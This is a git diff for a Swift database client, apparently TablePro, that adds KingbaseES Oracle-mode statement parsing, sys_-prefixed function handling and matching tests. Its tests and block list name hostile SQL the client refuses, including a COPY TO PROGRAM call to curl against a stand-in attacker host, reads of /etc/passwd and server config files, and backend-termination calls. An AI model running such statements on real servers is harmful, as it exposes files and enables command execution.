.../KingbaseESPluginDriver.swift | 15 +++++-------- .../LibPQDriverCore.swift | 4 ++-- .../PostgreSQLPluginDriver.swift | 15 ++++++++----- .../Core/Utilities/SQL/QueryClassifier.swift | 1 + .../Core/Utilities/SQL/SQLFileParser.swift | 21 ++++++++++++++----- .../Utilities/SQL/SQLLexicalResolver.swift | 8 +++++++ .../Views/Editor/SQLEditorController.swift | 11 +++++++--- ...ft => CompareSyncSessionFamilyTests.swift} | 2 +- .../ExternalStatementGateTests.swift | 6 +++++- .../SQL/CatalogChangeClassifierTests.swift | 7 ++----- .../SQL/SQLFileParserPLSQLTests.swift | 15 +++++++++++++ apple/changelog.d/3855.fixed.md | 1 + 18 files changed, 128 insertions(+), 37 deletions(-) rename apple/TableProTests/Core/Compare/{CompareSyncEngineFamilyTests.swift => CompareSyncSessionFamilyTests.swift} (97%) create mode 100644 apple/changelog.d/3855.fixed.md diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift index deebfc6220..f0c5161f62 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift @@ -184,6 +184,17 @@ public struct PLSQLUnitTracker: SQLStatementBoundaryTracking { settlePendingBeforeNonWord() } + /// KingbaseES in Oracle mode also takes PostgreSQL's quoted routine body, `AS 'SELECT 1'` or `AS $$ ... $$`, which + /// opens no block. Oracle never puts a literal after a subprogram's `IS` or `AS`; a quoted name there still starts + /// its declarations. + public mutating func observeQuotedToken(opener: UInt16) { + if pendingBodyKeyword, opener != SqlLexer.doubleQuote { + pendingBodyKeyword = false + header = nil + } + observeOpaqueToken() + } + /// PL/SQL reads `a . b` as `a.b`, so whitespace leaves a member name a member name. public mutating func observeGap() {} diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift index 90d6374010..a3c39e0a67 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift @@ -20,7 +20,8 @@ public enum SQLStatementTerminator: Equatable, Sendable { /// boundaries without looking ahead. /// /// Words arrive uppercased. Whitespace and comments arrive as ``observeGap()``; a string literal, a quoted identifier -/// or a dollar-quoted body arrives as ``observeOpaqueToken()``. +/// or a dollar-quoted body arrives as ``observeQuotedToken(opener:)``, and any other token no word or symbol describes +/// as ``observeOpaqueToken()``. public protocol SQLStatementBoundaryTracking { /// Whether words still bear on where this statement ends. A reader that has to assemble words itself can stop /// doing so once this is false, which keeps a plain `INSERT` dump free of the cost. @@ -36,6 +37,10 @@ public protocol SQLStatementBoundaryTracking { mutating func observeSymbol(_ symbol: UInt16) mutating func observeOpaqueToken() + /// A quoted token, named by its first character: `'`, `$`, or a prefix such as `E` or `q` for a literal, and `"`, + /// a backtick or `[` for a quoted name. + mutating func observeQuotedToken(opener: UInt16) + /// Whitespace or a comment between two tokens, which keeps a word from continuing the name before it: `x$MERGE` /// is one name in T-SQL, while `x$` and `MERGE` on the next line are a name and a statement. mutating func observeGap() @@ -46,6 +51,12 @@ public protocol SQLStatementBoundaryTracking { mutating func reset() } +public extension SQLStatementBoundaryTracking { + mutating func observeQuotedToken(opener: UInt16) { + observeOpaqueToken() + } +} + public enum SQLStatementBoundaries { /// The one place a grammar is matched to its statement boundaries, so no reader can pick a different one. public static func makeTracker(for grammar: SQLLexicalGrammar) -> any SQLStatementBoundaryTracking { diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift index b6d089d98b..0356e206bd 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift @@ -333,7 +333,10 @@ public enum SQLStatementScanner { tracker.observeGap() case .executableComment: hasStatementContent = true - case .quoted, .parameter: + case .quoted: + hasStatementContent = true + tracker.observeQuotedToken(opener: nsQuery.character(at: span.start)) + case .parameter: hasStatementContent = true tracker.observeOpaqueToken() } diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift index afe0aa09d3..a4da4e263f 100644 --- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift @@ -143,4 +143,22 @@ struct SQLLexicalReadingsTests { #expect(readings.execution.contains(.plsqlBlocks)) #expect(readings.all.contains { !$0.contains(.alternativeQuoting) }) } + + // Measured on KingbaseES V9R1C10 in Oracle mode: each of these creates its function, beside PL/SQL bodies. + @Test("Oracle-mode KingbaseES ends a quoted routine body at its semicolon and keeps a PL/SQL body whole") + func kingbaseOracleModeRoutineBodies() { + let oracle = SQLSessionLexicalFacts( + determined: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers], + enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers] + ) + let grammar = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle).execution + func sent(_ sql: String) -> [String] { + SQLStatementScanner.executableStatements(in: sql, grammar: grammar).map(\.sql) + } + #expect(sent("CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS 'SELECT 42'; SELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql; SELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f() RETURNS integer AS $b$ BEGIN RETURN 1; END; $b$ LANGUAGE plpgsql; SELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f RETURN NUMBER AS BEGIN RETURN 1; END;\n/\nSELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f RETURN NUMBER AS \"v\" NUMBER := 1; BEGIN RETURN \"v\"; END;\n/\nSELECT 2;").count == 2) + } } diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift index 325c1c55d9..30a7ce249d 100644 --- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift +++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift @@ -243,10 +243,13 @@ private struct Scan { appendSpanningRegion(.blockComment, start: start, startLine: startLine, end: span.contentEnd) case .quoted where text.character(at: index) == SqlDollarQuote.dollar: openStatementIfNeeded() - boundaries.observeOpaqueToken() + boundaries.observeQuotedToken(opener: SqlDollarQuote.dollar) line += span.newlines appendSpanningRegion(.quotedBody, start: start, startLine: startLine, end: span.contentEnd) - case .quoted, .parameter: + case .quoted: + boundaries.observeQuotedToken(opener: text.character(at: index)) + line += span.newlines + case .parameter: boundaries.observeOpaqueToken() line += span.newlines } diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift index f6ca4fcf81..0d2304802d 100644 --- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift +++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift @@ -2,7 +2,10 @@ import Foundation public enum SQLStateChangingFunctions { public static func contains(_ name: String) -> Bool { - names.contains(name.lowercased()) + let lowered = name.lowercased() + // KingbaseES ships each pg_ function under a sys_ name too, such as sys_terminate_backend (measured on V9R1C10). + if lowered.hasPrefix("sys_") { return names.contains("pg_" + lowered.dropFirst(4)) } + return names.contains(lowered) } private static let names: Set = serverSignals diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift index a6892028d6..4a3d8b45ec 100644 --- a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift @@ -14,15 +14,10 @@ final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable ) } - override func connect() async throws { - try await super.connect() - do { - let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery) - let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText) - mode.withLock { $0 = detected } - } catch { - disconnect() - throw error - } + override func probeAfterConnect() async throws { + let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery) + let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText) + mode.withLock { $0 = detected } + try await super.probeAfterConnect() } } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift index e459e63e6b..8ed4cfd180 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift @@ -25,7 +25,7 @@ final class LibPQDriverCore: @unchecked Sendable { var currentSchema: String = "public" private var selectedSchema: String? - var onPostConnect: (@Sendable () async -> Void)? + var onPostConnect: (@Sendable () async throws -> Void)? /// Set by `LibPQBackedDriver` for the span of one connect, so every driver built on this /// core reports its handshake steps without having to thread a parameter through its own @@ -124,7 +124,7 @@ final class LibPQDriverCore: @unchecked Sendable { currentSchema = selectedSchema } - await onPostConnect?() + try await onPostConnect?() try await pqConn.finishConnecting() try Task.checkCancellation() } onCancel: { diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift index 432302ee96..e7b0c72983 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift @@ -62,15 +62,20 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable { func connect() async throws { core.onPostConnect = { [weak self] in - await self?.probeSessionFacts() - await self?.probeCatalogPresence() - await self?.probePostgisOids() - await self?.probeEnumOids() - await self?.probeVectorTypes() + try await self?.probeAfterConnect() } try await core.connect() } + /// Runs inside the connect's deadline and cancellation, before the connection is handed out. + func probeAfterConnect() async throws { + await probeSessionFacts() + await probeCatalogPresence() + await probePostgisOids() + await probeEnumOids() + await probeVectorTypes() + } + private func probeCatalogPresence() async { do { let result = try await core.execute(query: PostgreSQLCatalogPresence.probeQuery) diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift index b1f770ca6e..0669a1d8ae 100644 --- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift +++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift @@ -303,6 +303,7 @@ private extension QueryClassifier { static let filesystemMarkers: [String] = [ "INTO OUTFILE", "INTO DUMPFILE", "TO PROGRAM", "FROM PROGRAM", "VACUUM INTO", "LOAD_FILE(", "PG_READ_FILE(", "PG_READ_BINARY_FILE(", "PG_LS_DIR(", + "SYS_READ_FILE(", "SYS_READ_BINARY_FILE(", "SYS_LS_DIR(", "LO_IMPORT(", "LO_EXPORT(", "PG_FILE_WRITE(", "LOAD_EXTENSION(", "READFILE(", "WRITEFILE(", "FN_GET_AUDIT_FILE(", "XP_CMDSHELL", "SP_OACREATE" ] diff --git a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift index c465dee946..132c1c7e17 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift @@ -298,6 +298,16 @@ final class SQLFileParser: Sendable { flushWord(&ctx) } guard SqlBlockStructure.startsWord(nsBuffer, at: i, length: bufLen, grammar: ctx.grammar) else { return .none } + // `E'...'` is a literal, and the escape-string branch that reads it never runs once `E` starts a word. + if ctx.grammar.contains(.escapeStringPrefix), char == kCapitalE || char == kSmallE, + !SQLNonCodeSpan.isWordUnit(ctx.previousUnit) { + if i + 1 < bufLen { + if nsBuffer.character(at: i + 1) == kSingleQuote { return .none } + } else if !ctx.atEndOfInput { + ctx.previousUnitInWord = followsWord + return .needsMoreData + } + } if readsAlternativeQuotes, !SQLNonCodeSpan.isWordUnit(ctx.previousUnit), let quoteLength = alternativeQuotePrefixLength(nsBuffer, at: i, bufLen: bufLen) { if quoteLength > 0 { @@ -425,7 +435,7 @@ final class SQLFileParser: Sendable { appendRange(&ctx, from: i, to: i + prefixLength, in: nsBuffer) ctx.alternativeQuoteCloser = alternativeQuoteCloser(for: nsBuffer.character(at: i + prefixLength - 1)) ctx.state = .inAlternativeQuote - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) i += prefixLength return StepResult(advanced: true, deferred: false) case .none: @@ -479,6 +489,7 @@ final class SQLFileParser: Sendable { ctx.state = .inSingleQuotedString ctx.quoteChar = kSingleQuote ctx.backslashEscapesActive = true + ctx.boundaries?.observeQuotedToken(opener: char) i += 2 return StepResult(advanced: true, deferred: false) } @@ -488,7 +499,7 @@ final class SQLFileParser: Sendable { ctx.hasStatementContent, ctx.statementStartLine, ctx.currentLine) appendChar(char, to: ctx.currentStatement) ctx.state = .inBracketedIdentifier - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) return StepResult(advanced: false, deferred: false) } @@ -501,7 +512,7 @@ final class SQLFileParser: Sendable { let openerRange = NSRange(location: i, length: length) target.append(nsBuffer.substring(with: openerRange)) } - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) ctx.state = .inDollarQuote ctx.dollarTag = tag i += length @@ -525,7 +536,7 @@ final class SQLFileParser: Sendable { } if let advanced = processQuoteOpen(&ctx, char: char, nextChar: nextChar) { - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: char) if advanced { i += 2 } return StepResult(advanced: advanced, deferred: false) } @@ -708,7 +719,7 @@ final class SQLFileParser: Sendable { ctx.state = .inTripleQuotedString ctx.quoteChar = quote ctx.backslashEscapesActive = ctx.grammar.backslashEscapes(inQuote: quote) - ctx.boundaries?.observeOpaqueToken() + ctx.boundaries?.observeQuotedToken(opener: quote) } /// Runs a triple-quoted literal to the three quotes that close it, holding back a quote or a backslash the buffer diff --git a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift index a32a845847..3d5fd13cc5 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift @@ -31,6 +31,14 @@ enum SQLLexicalResolver { readings(for: databaseType, session: sessionState(for: connectionId)).execution } + /// The grammar for text bound to `scope`, read from the driver holding that database: a connection that keeps one + /// session per database can hold different session facts on each. + @MainActor + static func executionGrammar(for databaseType: DatabaseType, scope: DatabaseScope) -> SQLLexicalGrammar { + readings(for: databaseType, session: DatabaseManager.shared.sessionDriver(holding: scope)?.sessionLexicalState) + .execution + } + /// What the connected driver read from its session, or `nil` while `connectionId` has none. @MainActor static func sessionState(for connectionId: UUID) -> PluginSessionLexicalState? { diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift index 7af988c98d..1b218c27bc 100644 --- a/apple/TablePro/Views/Editor/SQLEditorController.swift +++ b/apple/TablePro/Views/Editor/SQLEditorController.swift @@ -175,9 +175,14 @@ final class SQLEditorController { /// PostgreSQL with `standard_conforming_strings` off each split text differently from the engine's default. private func refreshSessionGrammar() { guard let databaseType = input.databaseType else { return } - let grammar = input.connectionId.map { - SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: $0) - } ?? databaseType.lexicalGrammar + let grammar: SQLLexicalGrammar + if let scope = input.databaseScope { + grammar = SQLLexicalResolver.executionGrammar(for: databaseType, scope: scope) + } else if let connectionId = input.connectionId { + grammar = SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId) + } else { + grammar = databaseType.lexicalGrammar + } guard grammar != coordinator.sessionGrammar else { return } coordinator.setSessionGrammar(grammar) (foldProvider as? SQLLineFoldProvider)?.grammar = grammar diff --git a/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift similarity index 97% rename from apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift rename to apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift index 843c1103d7..0ab6f306dc 100644 --- a/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift +++ b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift @@ -3,7 +3,7 @@ import Foundation import TableProPluginKit import Testing -struct CompareSyncEngineFamilyTests { +struct CompareSyncSessionFamilyTests { private static let oracleMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [.plsqlBlocks]) private static let pgMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: []) diff --git a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift index 262e470279..3bcb48a356 100644 --- a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift +++ b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift @@ -76,7 +76,9 @@ struct ExternalStatementGateTests { @Test("A statement that reaches the filesystem or runs server code is refused", arguments: [ "COPY users FROM '/etc/passwd'", "COPY users TO PROGRAM 'curl attacker.example'", - "SELECT pg_read_file('/etc/passwd')" + "SELECT pg_read_file('/etc/passwd')", + "SELECT sys_read_file('kingbase.conf')", + "SELECT * FROM sys_ls_dir('.')" ]) func filesystemAndCodeRefused(sql: String) { #expect(refusal(statement(sql)) == .denied( @@ -182,6 +184,8 @@ struct ExternalStatementGateTests { ("SELECT pg_cancel_backend(123)", DatabaseType.postgresql), ("SELECT pg_terminate_backend(123)", DatabaseType.redshift), ("SELECT pg_cancel_backend(123)", DatabaseType.cockroachdb), + ("SELECT sys_terminate_backend(123)", DatabaseType.kingbasees), + ("SELECT sys_reload_conf()", DatabaseType.kingbasees), ("SELECT query_to_xml('SELECT pg_terminate_backend(123)', true, false, '')", DatabaseType.postgresql), ("EXPLAIN ANALYSE SELECT pg_terminate_backend(123)", DatabaseType.postgresql), ("KILL 123", DatabaseType.mysql), diff --git a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift index ca7150c587..5eaefccf1a 100644 --- a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift @@ -145,11 +145,8 @@ struct CatalogChangeClassifierTests { @Test("a block on a KingbaseES Oracle-mode session is read as a block, not as a transaction start") func oracleModeBlockIsOpaque() { let sql = "BEGIN staging_pkg.create_tables(1); END;" - #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees).kinds.isEmpty) - #expect( - CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle) - .kinds == .everything - ) + let effect = CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle) + #expect(effect == .opaque) } @Test("a script reports the union of its statements") diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift index 8606ac35d7..b7a26f93f9 100644 --- a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift @@ -34,6 +34,21 @@ struct SQLFileParserPLSQLTests { !example.script.contains("--") && !example.script.contains("/*") } + @Test("An Oracle-mode KingbaseES import ends a quoted routine body at its semicolon") + func kingbaseOracleModeQuotedBodies() async throws { + let script = """ + CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS E'SELECT 42'; + CREATE FUNCTION g() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql; + CREATE FUNCTION h RETURN NUMBER AS "v" NUMBER := 1; BEGIN RETURN "v"; END; + / + SELECT E'it\\'s; here'; + SELECT 2; + """ + let statements = try await Self.parse(script, grammar: TestGrammar.kingbaseESOracle) + #expect(statements.count == 5) + #expect(statements.last == "SELECT 2") + } + @Test("An imported script splits like the same script in the editor", arguments: commentFreeCases) func importMatchesTheEditor(example: PLSQLScriptCase) async throws { #expect(try await Self.parse(example.script, grammar: TestGrammar.oracle) == example.statements) diff --git a/apple/changelog.d/3855.fixed.md b/apple/changelog.d/3855.fixed.md new file mode 100644 index 0000000000..ca1fee03d9 --- /dev/null +++ b/apple/changelog.d/3855.fixed.md @@ -0,0 +1 @@ +The "is not empty" filter found no rows on Oracle, and both empty filters failed on a CLOB column.